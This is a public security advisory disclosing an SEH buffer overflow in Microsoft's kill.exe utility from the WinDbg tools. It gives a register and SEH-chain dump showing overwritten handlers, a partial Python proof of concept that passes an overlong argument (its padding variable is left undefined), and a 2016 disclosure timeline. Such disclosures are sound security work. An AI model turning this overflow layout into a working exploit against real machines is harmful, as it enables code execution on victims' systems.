Microsoft Process Kill Utility "kill.exe" Buffer Overflow

Subject: Microsoft Process Kill Utility "kill.exe" Buffer Overflow

[+] Credits: HYP3RLINX  

[+] Website:

[+] Source:

[+] ISR: ApparitionSec


Microsoft Process Kill Utility "kill.exe"
File version: 6.3.9600.17298

The Kill tool (kill.exe), a tool used to terminate a process, part of the WinDbg program.

Vulnerability Type:
Buffer Overflow

SEH Buffer Overflow @ about 512 bytes

Vulnerability Details:

Register dump

'SEH chain of main thread
Address    SE handler
001AF688   kernel32.756F489B
001AFBD8   52525252
42424242   *** CORRUPT ENTRY ***

001BF81C   41414141  AAAA
001BF820   41414141  AAAA
001BF824   41414141  AAAA
001BF828   41414141  AAAA
001BF82C   41414141  AAAA
001BF830   41414141  AAAA
001BF834   909006EB    Pointer to next SEH record   
001BF838   52525252  RRRR  SE handler  <================ 
001BF83C   90909090  
001BF840   90909090  

Exploit code(s):

Python POC.

import subprocess


pgm='c:\\Program Files (x86)\\Windows Kits\\8.1\\Debuggers\\x86\\kill.exe '
subprocess.Popen([pgm, junk], shell=False)

Disclosure Timeline:
Vendor Notification: June 24, 2016
Vendor reply:  Will not security service
July 8, 2016  : Public Disclosure

Exploitation Technique:

Severity Level:

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